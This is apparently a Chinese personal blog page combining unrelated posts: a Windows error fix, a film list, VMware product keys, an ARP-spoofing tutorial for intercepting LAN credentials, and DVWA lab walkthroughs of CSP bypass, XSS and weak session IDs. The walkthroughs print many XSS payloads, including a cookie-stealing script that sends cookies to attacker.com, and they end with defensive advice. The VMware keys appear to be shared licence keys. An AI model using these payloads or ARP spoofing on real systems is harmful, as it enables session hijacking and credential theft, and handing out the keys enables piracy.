l1n6yun's Blog

记录学习的技能和遇到的问题

在使用电脑办公过程中,安装应用程序时难免会遇到无法正常安装或者无法正常启动的情况,这对我们使用电脑带来了诸多不便,那么遇到应用程序无法正常启动的问题要如何解决呢?
“应用程序无法正常启动”这个问题想必很多用户都遇到过吧,其实造成程序无法运行启动的原因很多,需要对出现的代码进行解读再来解决

以下是应用程序无法正常启动(0xc000007b)的详细解决方案:

第一种方案:SFC检查系统完整性来尝试修复丢失问题件

  1. 以管理员身份运行场面命令提示符
  2. 使用 sfc /scannow 命令进行系统扫描和修复
  3. 修复完成后,尝试应用程序是否可以正常运行

第二种方案:使用DirectX修复工具(推荐)

这款软件能自动完成校验、检测、修复、注册的功能,十分简便易用,修复完成之后,重启一般就可以解决这个问题。
下载地址:https://www.microsoft.com/zh-CN/download/confirmation.aspx?id=35

励志片的作用,就是在你顾虑、担心、犹豫的时候,踹你一脚,让你朝助力最大的方向狂奔。
这 45 部电影里藏着许多希望、激励和方向。相信总有一部能触碰到你的内心。

  1. 《肖生克的救赎》 希望总是在最无望的场地迸发着最美丽奇迹的火焰。

  2. 《当幸福来敲门》 幸福必须靠自己争取。

  3. 《阿甘正传》 每一个人的生命轨迹都是存在的,而且是独一无二的。

  4. 《三傻大闹宝莱坞》 追求卓越,成功就离你不远了

  5. 《风雨哈弗路》 努力中的你永远比你想象中的要幸运

  6. 《美丽心灵》 这是上帝对两位美丽心灵的赏赐

  7. 《叫我第一名》 影响自己最大的永远是自己

  8. 《奔腾年代》 一个人毕生想要追求的东西甚至比他的生命还重要

  9. 《放牛班的春天》 没有一个孩子是不可救药的

  10. 《勇敢的心》 看清人间,仍有勇气追求自由

  11. 《喜剧之王》 小人物也能有大梦想

  12. 《贫民窟的百万富翁》 一场对自我坚守的肯定报答

  13. 《死亡诗社》 我希望生活得有意义

  14. 《弱点》 人性存在弱点,我们才可能去期盼明天会更好

  15. 《美丽人生》 就算在最艰难最黑暗的日子也要保持阳光

  16. 《国王的演讲》 你相信一个结巴的人能登上大舞台演讲吗

  17. 《爆裂鼓手》 英语中,再没有哪两个词比“good job”更害人的

  18. 《洛奇》 要是你知道自己的价值,就去争取你的价值

  19. 《百万美元宝贝》 因为热情,我想我可以

  20. 《摔跤吧,爸爸》 正面应战吧,这是你生来的目的

  21. 《猜火车》 你不会愈来愈年轻,世界在变,你不能整天在这儿

  22. 《百元之恋》 跟生活死磕吧别放弃,怎么也要赢一次

  23. 《生活多美好》 不寄希望于他人,就是要靠自己的力量去改变

  24. 《千与千寻》 一直向前走。千万别向后看

  25. 《入殓师》 生如夏花般灿烂,死如秋叶般静美

  26. 《永不妥协》 自己选择的路就该一步一步的走完

  27. 《一球成名》 人因梦想而伟大

  28. 《中国合伙人》 成功者总是不约而同的配合着时代的需要

  29. 《跳出我天地》 你选择了一条路并不意味着放弃另外一条

  30. 《千钧一发》 我有书,我在脑海中旅行

  31. 《127小时》 那是对生命的热爱

  32. 《追梦赤子心》 继续跑,带着赤子的骄傲

  33. 《永无止境》 对于任何事情都不尽力去做就是在浪费才能

  34. 《华尔街之狼》 能取胜的人,总是在说“必须”如何“未来”如何

  35. 《钢琴家》 唯有用力反抗,才能战胜黑暗

  36. 《光荣之路》 如果你现在停下来,后面的生活就会一起停下来

  37. 《沙漠之花》 在你想要放弃是,想想为什么当初坚持走到了这里。

  38. 《寿司之神》 人需要竞争才能进步

  39. 《朝圣之路》 时刻带着自己的阳光

  40. 《白日梦想家》 没有冒险没有变动的生活总是很平庸

  41. 《麦克法兰》 最励志的跑步电影,适合所有年龄段跑者

  42. 《卡特教练》 最怕的不是别人看不起我们,最怕的是我们前途无量

  43. 《早间主播》 有梦想是好事儿

  44. 《闪光少女》 我喜欢萤火虫,因为它虽然弱小却能发光

  45. 《成为简奥斯丁》 精神之力不可摧

下载地址:https://www.vmware.com/products/workstation-pro/workstation-pro-evaluation.html
产品秘钥:

1
2
3
4
ZF3R0-FHED2-M80TY-8QYGC-NPKYF
YF390-0HF8P-M81RQ-2DXQE-M2UT6
ZF71R-DMX85-08DQY-8YMNC-PPHV8
FA1M0-89YE3-081TQ-AFNX9-NKUC0

ARP工具

arpspoof 是一款进行arp欺骗的工具,攻击者可以通过它来毒化受害者arp缓存,将网关mac替换为攻击者mac,然后攻击者可截获受害者发送和收到的数据包,可获取受害者账户、密码等相关敏感信息。ARP欺骗,是让目标主机的流量经过主机的网卡,再从网关出去,而网关也会把原本流入目标机的流量经过我得电脑。

1
Usage: arpspoof [-i interface] [-c own|host|both] [-t target] [-r] host

ARP断网攻击

在实验之前我们首先要知道ARP断网攻击是局域网攻击,我们要保证目标主机必须和自己处于一个局域网内,且自己和目标主机网络应该是通的。

首先可以使用 nmap 扫描局域网中存活的地址,探测到的存活地址,就是我们的目标主机,然后使用 arpspoof 实施 ARP 欺骗。

upload successful

在使用arp欺骗前先开启Kali的IP转发

upload successful

链接目标机查看一下网络状态

upload successful

使用 ettercap 对数据进行抓取

upload successful

upload successful

漏洞简介

JavaScript 攻击这关比较特殊,目标是提交 “success” 这个词来通关。每个级别有不同的保护机制,需要分析前端 JS 代码绕过去。

JavaScript 运行在客户端,用户能看、能改、能调试,所以前端做的任何验证都不能算真正的安全。

Low 级别

看页面源码,JS 直接嵌在页面里:

1
2
3
4
function generate_token() {
var phrase = document.getElementById("phrase").value;
document.getElementById("token").value = md5(rot13(phrase));
}

逻辑很简单:

  1. 拿 phrase 输入框的值
  2. rot13 编码
  3. md5 哈希
  4. 填进 token 隐藏字段

页面上默认 phrase 是 “ChangeMe”,我们要改成 “success”。

攻击方法

打开控制台,两行搞定:

1
2
document.getElementById("phrase").value = "success";
generate_token();

然后点提交,通关。代码都摆在你面前了,想怎么改都行。

Medium 级别

Medium 把 JS 移到外部文件了,还压缩了一下:

1
<script src="/vulnerabilities/javascript/source/medium.js"></script>

攻击方法

方法一:直接看 JS 文件

开发者工具 Sources 面板或者 Network 面板都能看到这个 JS 文件的内容。

方法二:格式化压缩代码

Chrome 和 Firefox 都有 Pretty Print 功能,点那个 {} 按钮,压缩的代码就格式化好了。

upload successful

分析一下发现有个 setTimeout 延迟调用:

1
2
3
setTimeout(function () {
do_elsesomething('XX')
}, 300);

方法三:直接调函数

1
2
document.getElementById("phrase").value = "success";
do_elsesomething("XX");

压缩只是让人读起来费劲,不是真正的安全措施。

High 级别

High 用了代码混淆,两个工具一起上:

  1. Dan’s Tools(打包)
  2. JavaScript Obfuscator Tool(混淆)

混淆后的代码看着就像乱码,但不是不能读。

攻击方法

方法一:在线反混淆

把混淆的代码丢到反混淆工具里,比如 deobfuscatejavascript.com。

upload successful

反混淆后的代码就清晰多了。

方法二:断点调试

在 Sources 面板设置断点,一步步执行,观察变量变化,搞清楚执行流程。

分析完发现有三个函数要按顺序调用:

1
2
3
function token_part_3(t, y = "ZZ") {}
function token_part_2(e = "YY") {}
function token_part_1(a, b) {}

方法三:控制台调用

1
2
3
document.getElementById("phrase").value = "success";
token_part_1('ABCD', 44);
token_part_2('XX');

混淆增加了逆向难度,但不是不能逆。

Impossible 级别

这关没有 Impossible 级别,官方说明是:

You can never trust the user and have to assume that any code sent to the user can be manipulated or bypassed and so there is no impossible level.

意思就是:

  • 发到客户端的代码都能被改
  • 前端验证本质上是不可靠的
  • 所以不存在 Impossible 级别

正确的做法

实践 说明
服务端验证 关键验证必须在服务端做
别暴露敏感信息 密码密钥别放前端
用 Session 敏感操作服务端验证身份
输入验证 服务端严格过滤

小结

前端 JavaScript 安全要点:

  1. 所有安全验证必须在服务端完成
  2. 敏感信息别放前端代码里
  3. 代码混淆只是增加逆向难度,不是安全措施
  4. 关键业务逻辑放服务端
  5. 记住:用户能看到的一切都不安全

漏洞简介

CSP(内容安全策略)是个防御 XSS 的好东西,限制网页能从哪加载资源。但如果配置不当,CSP 也能绕。

这关主要学怎么绕过配置不当的 CSP。

CSP 基础知识

常用指令

指令 说明
default-src 默认资源来源
script-src JS 来源
style-src CSS 来源
img-src 图片来源
connect-src AJAX 来源

示例配置

1
Content-Security-Policy: default-src 'self'; script-src 'self' https://cdn.example.com

意思就是默认只能加载同源资源,JS 只能从自己和 cdn.example.com 加载。

Low 级别

看 CSP 配置:

1
2
$headerCSP = "Content-Security-Policy: script-src 'self' https://pastebin.com 'unsafe-inline';";
header( $headerCSP );

允许从 pastebin.com 加载脚本,这就给了机会。

攻击方法

第一步:去 pastebin.com 写个恶意脚本

1
alert(document.cookie);

第二步:复制 raw 链接

1
https://pastebin.com/raw/xxxxx

第三步:注入

1
<script src="https://pastebin.com/raw/xxxxx"></script>

脚本执行了,CSP 绕过成功。白名单域名不是随便加的。

Medium 级别

Medium 的 CSP:

1
$headerCSP = "Content-Security-Policy: script-src 'self' 'unsafe-inline' 'unsafe-eval' https://ssl.google-analytics.com https://pastebin.com;";

'unsafe-inline' 允许内联脚本,这配置约等于没有 CSP。

攻击方法

直接写内联脚本:

1
<script>alert(document.cookie)</script>

允许 'unsafe-inline' 就是给 XSS 大开方便之门,还不如不设 CSP。

High 级别

High 的 CSP 严格了:

1
2
$headerCSP = "Content-Security-Policy: script-src 'self';";
header( $headerCSP );

只允许同源脚本。但代码里有个 JSONP 接口:

1
2
3
4
5
if( isset( $_GET[ 'include' ] ) ) {
$page[ 'body' ] .= "
<script src='" . $_GET[ 'include' ] . "'></script>
";
}

include 参数可控,而且加载的是同源地址。

攻击方法

利用 JSONP 接口:

1
?include=http://localhost:8080/vulnerabilities/csp/source/jsonp.php?callback=alert(document.cookie)//

虽然加载的是同源脚本,但 callback 参数能注入代码,绕过 CSP。

Impossible 级别

Impossible 用了 nonce:

1
2
$headerCSP = "Content-Security-Policy: default-src 'self'; script-src 'self' 'nonce-" . $token . "';";
header( $headerCSP );

特点:

  1. default-src 'self' 默认只允许同源
  2. script-src 'nonce-xxx' 只允许带正确 nonce 的脚本执行
  3. nonce 是动态生成的,猜不到

这才是正确的 CSP 配置。

CSP 绕过方式

绕过方式 说明
白名单域名 利用被允许的域名托管脚本
'unsafe-inline' 允许内联脚本
'unsafe-eval' 允许 eval
JSONP 利用 利用 JSONP callback 执行代码
文件上传 上传脚本到同源

小结

CSP 配置要点:

  1. 白名单域名要谨慎,别加公共 CDN
  2. 别用 'unsafe-inline''unsafe-eval'
  3. 用 nonce 或 hash 验证脚本
  4. JSONP 接口要检查 callback 参数
  5. 定期审计 CSP 配置

漏洞简介

存储型 XSS 是 XSS 里危害最大的。注入的恶意代码会被存到服务器数据库里,谁访问这个页面谁中招,不需要像反射型那样诱导用户点击链接。

这关主要学怎么利用存储型 XSS 做持久化攻击。

Low 级别

看代码:

1
2
3
$message = trim( $_POST[ 'mtxMessage' ] );
$name = trim( $_POST[ 'txtName' ] );
$query = "INSERT INTO guestbook ( comment, name ) VALUES ( '$message', '$name' );";

消息和姓名都没过滤,直接存数据库。

攻击方法

在消息框注入:

1
<script>alert('Stored XSS')</script>

提交之后,每次打开这个页面都会弹窗,攻击持久化了。

偷 Cookie:

1
2
3
4
<script>
var img = new Image();
img.src = "http://attacker.com/steal.php?cookie=" + document.cookie;
</script>

别人一访问,Cookie 就发到攻击者服务器了。

姓名框也能注,但有长度限制,可以改 HTML 或者用短的 payload:

1
<img src=x onerror=alert(1)>

Medium 级别

Medium 对消息做了过滤:

1
2
3
4
5
$message = strip_tags( addslashes( $message ) );
$message = mysql_real_escape_string( $message );
$message = htmlspecialchars( $message );

$name = str_replace( '<script>', '', $name );

消息字段转义了,但姓名字段只过滤了 <script>,又是个漏洞。

攻击方法

姓名框用大小写混淆:

1
<Script>alert(1)</Script>

或者用其他标签:

1
<img src=x onerror=alert(1)>

双写绕过也行:

1
<scr<script>ipt>alert(1)</scr</script>ipt>

消息字段攻不破,就攻姓名字段,总有一个地方有漏洞。

High 级别

High 对姓名用正则过滤:

1
$name = preg_replace( '/<(.*)s(.*)c(.*)r(.*)i(.*)p(.*)t/i', '', $name );

各种姿势的 <script> 都能匹配到,但 XSS 不止这一种。

攻击方法

img 标签:

1
<img src=x onerror=alert(1)>

svg 标签:

1
<svg onload=alert(1)>

body 标签:

1
<body onload=alert(1)>

input 标签:

1
<input onfocus=alert(1) autofocus>

过滤 <script> 过滤了个寂寞。

Impossible 级别

Impossible 对两个字段都转义了:

1
2
$message = htmlspecialchars( $message );
$name = htmlspecialchars( $name );

htmlspecialchars() 把特殊字符转成 HTML 实体,注入的代码变成普通文本显示出来,不会执行。这才是正确做法。

存储型 XSS 危害

攻击方式 危害
偷 Cookie 拿登录凭证
键盘记录 记录用户输入
钓鱼 伪造登录表单
挂马 传播恶意软件
蠕虫 自动传播 XSS

存储型 XSS 打中一个人,所有访问的人都遭殃,危害比反射型大得多。

小结

存储型 XSS 防护要点:

  1. 所有输出都要用 htmlspecialchars() 转义
  2. 限制输入长度
  3. Cookie 设置 HttpOnly
  4. 配好 CSP
  5. 别想着黑名单过滤,转义就完事了

漏洞简介

XSS(跨站脚本攻击),老牌漏洞了。简单说就是把恶意 JavaScript 注入到网页里,别人打开这个页面脚本就执行了。反射型 XSS 是最常见的,恶意代码通过 URL 参数传进去,服务器原样返回,浏览器就执行了。

这关主要学怎么利用反射型 XSS 偷 Cookie 和搞事情。

XSS 类型

类型 说明
反射型 URL 传参,服务器反射回来
存储型 存服务器里,谁访问谁中招
DOM 型 纯前端操作,不经过服务器

Low 级别

看代码:

1
2
3
if( array_key_exists( "name", $_GET ) && $_GET[ 'name' ] != NULL ) {
echo '<pre>Hello ' . $_GET[ 'name' ] . '</pre>';
}

用户输入直接输出,啥过滤都没有。

攻击方法

测试 XSS:

1
<script>alert('XSS')</script>

弹窗了,确认有 XSS。

偷 Cookie:

1
<script>alert(document.cookie)</script>

外部加载脚本:

1
<script src="http://attacker.com/xss.js"></script>

img 标签也行:

1
<img src=x onerror="alert(document.cookie)">

![图片占位]

svg 标签:

1
<svg onload="alert(document.cookie)">

Medium 级别

Medium 过滤了 <script> 标签:

1
$name = str_replace( '<script>', '', $_GET[ 'name' ] );

str_replace 这种方式,绕过方法太多了。

攻击方法

大小写混淆:

1
<Script>alert('XSS')</Script>

双写绕过:

1
<scr<script>ipt>alert('XSS')</scr</script>ipt>

中间的 <script> 被删了,剩下又拼成完整的标签了。

或者干脆不用 <script>

1
<img src=x onerror="alert(document.cookie)">
1
<body onload="alert('XSS')">
1
<input onfocus="alert('XSS')" autofocus>

High 级别

High 级别用正则过滤:

1
$name = preg_replace( '/<(.*)s(.*)c(.*)r(.*)i(.*)p(.*)t/i', '', $_GET[ 'name' ] );

不管你怎么写 <script>,大小写怎么混,中间怎么插字符,都能匹配到并删掉。

但 XSS 又不是只有 <script> 这一种。

攻击方法

img 标签:

1
<img src=x onerror="alert(document.cookie)">

svg 标签:

1
<svg onload="alert(document.cookie)">

body 标签:

1
<body onload="alert('XSS')">

input 标签:

1
<input onfocus="alert('XSS')" autofocus>

details 标签:

1
<details open ontoggle="alert('XSS')">

能触发 JS 的标签多了去了,过滤不过来的。

Impossible 级别

Impossible 级别用 htmlspecialchars() 转义:

1
$name = htmlspecialchars( $_GET[ 'name' ] );

<>"'& 这些特殊字符转成 HTML 实体,注入的代码就变成普通文本了。这才是正确的做法。

常用 XSS Payload

Payload 说明
<script>alert(1)</script> 基础测试
<img src=x onerror=alert(1)> 图片加载失败触发
<svg onload=alert(1)> SVG 加载触发
<body onload=alert(1)> 页面加载触发
<input onfocus=alert(1) autofocus> 自动聚焦触发
<details open ontoggle=alert(1)> 展开触发
<a href="javascript:alert(1)">click</a> 点击触发

小结

XSS 防护要点:

  1. 输出的时候用 htmlspecialchars() 转义
  2. Cookie 设置 HttpOnly
  3. 配好 CSP
  4. 别想着黑名单过滤,转义才是王道

漏洞简介

DOM 型 XSS 是个比较特殊的存在,攻击过程完全不经过服务器,纯前端搞定的。恶意代码通过 JavaScript 写进 DOM 里执行,服务端日志里都看不到啥异常。

这关主要学怎么利用 DOM 型 XSS。

DOM 型 XSS 原理

流程是这样的:

  1. 攻击者搞个带恶意代码的 URL
  2. 用户点进去,请求发到服务器
  3. 服务器返回正常页面(恶意代码不在里面)
  4. 浏览器执行 JS,从 URL 里读出恶意代码
  5. 恶意代码被写进 DOM 执行

服务器日志里看请求,发现不了 XSS 攻击痕迹。

Low 级别

Low 级别没服务端代码,纯前端 JavaScript:

1
2
3
4
if (window.location.search.indexOf('default') !== -1) {
var lang = decodeURIComponent(window.location.search.split('default=')[1]);
document.write("<option value='" + lang + "'>" + lang + "</option>");
}

URL 参数 default 直接写进 DOM,一点过滤都没有。

攻击方法

测试 XSS:

1
?default=<script>alert('XSS')</script>

![图片占位]

弹窗了,注入成功。

偷 Cookie:

1
?default=<script>alert(document.cookie)</script>

![图片占位]

也可以用 img 标签:

1
?default=<img src=x onerror=alert(1)>

Medium 级别

Medium 在服务端过滤了 <script

1
2
3
4
if( stripos( $default, "<script" ) !== false ) {
header( "location: ?default=English" );
exit;
}

但 DOM 型 XSS 又不是只有 <script> 这一种姿势。

攻击方法

用 img 标签:

1
?default=<img src=x onerror=alert(1)>

![图片占位]

用 svg 标签:

1
?default=<svg onload=alert(1)>

闭合 select 标签:

1
?default=</option></select><img src=x onerror=alert(1)>

![图片占位]

过滤 <script 过滤了个寂寞。

High 级别

High 级别用白名单验证:

1
2
3
4
5
6
7
8
9
10
switch( $_GET[ 'default' ] ) {
case "English":
case "French":
case "German":
case "Spanish":
break;
default:
header( "location: ?default=English" );
exit;
}

只允许四个值,服务端过滤得挺死。但别忘了 URL 锚点。

攻击方法

# 后面的东西不会发到服务器,但 JavaScript 能读到:

1
?default=English#<script>alert(1)</script>

![图片占位]

服务端只看到 default=English,白名单过了。但前端 JS 读的是整个 URL,后面的恶意代码照样执行。

也可以用 input 标签:

1
?default=English#<input onfocus=alert(1) autofocus>

Impossible 级别

Impossible 级别没特殊代码,但服务端白名单 + 前端转义:

1
2
var lang = document.location.href.substring(document.location.href.indexOf("default=") + 8);
lang = lang.replace(/</g, '&lt;').replace(/>/g, '&gt;');

<> 转义成 &lt;&gt;,恶意代码就不会被当成 HTML 执行了。

DOM 型 XSS 常见位置

位置 说明
document.location URL 参数
document.URL 完整 URL
document.referrer 来源页面
document.cookie Cookie
window.name 窗口名称
innerHTML HTML 内容
document.write() 直接写入 DOM
eval() 执行代码

小结

DOM 型 XSS 防护要点:

  1. 前端对动态内容要做 HTML 实体编码
  2. 能不用 innerHTMLdocument.write()eval() 就别用
  3. textContent 代替 innerHTML
  4. 配好 CSP
  5. URL 参数别直接塞进 DOM

漏洞简介

Session ID 是服务器识别用户身份的凭证,一般存在 Cookie 里。如果这个 ID 太简单、能猜出来,那攻击者就能冒充别的用户,这就是会话劫持。

这关主要学怎么分析和利用弱会话 ID。

Session 基础知识

先搞清楚几个概念:

概念 说明
Session 服务器端存用户会话数据
Session ID 标识会话的唯一字符串
Cookie 浏览器存的小数据
Session Cookie Cookie 里存的 Session ID

Low 级别

看代码:

1
2
$session_id = 1;
setcookie( 'dvwaSession', $session_id );

好家伙,Session ID 直接用自增数字,从 1 开始。

攻击方法

打开开发者工具看 Cookie:

1
2
3
dvwaSession=1
dvwaSession=2
dvwaSession=3

每次点一下就 +1,这也太好猜了。

攻击者随便枚举就能猜到别人的 Session ID:

1
curl -H "Cookie: dvwaSession=1" http://localhost:8080/...

这安全性跟没有一样。

Medium 级别

Medium 用时间戳当 Session ID:

1
2
$session_id = time();
setcookie( 'dvwaSession', $session_id );

攻击方法

看 Cookie:

1
2
dvwaSession=1711683600
dvwaSession=1711683605

看着挺长,其实就是 Unix 时间戳:

1
2
3
4
import datetime
timestamp = 1711683600
print(datetime.datetime.fromtimestamp(timestamp))
# 2024-03-29 10:00:00

知道大概什么时候生成的,就能推算出 Session ID 范围,然后枚举。虽然比自增数字难搞一点,但还是能预测。

High 级别

High 用 mt_rand() 生成随机数:

1
2
$session_id = mt_rand( 0, 9999999999 );
setcookie( 'dvwaSession', $session_id );

范围是 0 到 9999999999,看着挺大,但 mt_rand() 是伪随机,知道种子就能推算出序列。

攻击方法

收集一批 Session ID:

1
2
3
dvwaSession=1234567890
dvwaSession=9876543210
dvwaSession=5555555555

用统计工具分析规律,或者直接暴力枚举常见值。虽然没那么容易,但理论上还是能搞。

Impossible 级别

Impossible 级别用加密安全的随机数:

1
2
$session_id = sha1( uniqid( mt_rand( 0, 9999999999 ), true ) );
setcookie( 'dvwaSession', $session_id, time() + 3600, '/', '', true, true );

特点:

  1. uniqid() 加随机数生成唯一 ID
  2. sha1() 哈希增加熵
  3. 设置了 HttpOnlySecure 属性

这才是正确做法。

安全的 Session ID 特征

特征 说明
足够长 至少 128 位
随机 用加密安全随机数生成器
不可预测 猜不出来下一个
唯一 不同会话不同 ID
有有效期 过期就失效
属性 作用
HttpOnly JS 读不到,防 XSS 偷 Cookie
Secure 只走 HTTPS
SameSite 限制跨站带 Cookie
Path 限制作用路径
Domain 限制作用域名

小结

Session ID 安全要点:

  1. 用加密安全的随机数生成器,别用自增和时间戳
  2. ID 要够长,128 位起步
  3. Cookie 设置 HttpOnly 和 Secure
  4. 重要操作后重新生成 Session ID
  5. 设置合理的过期时间
0%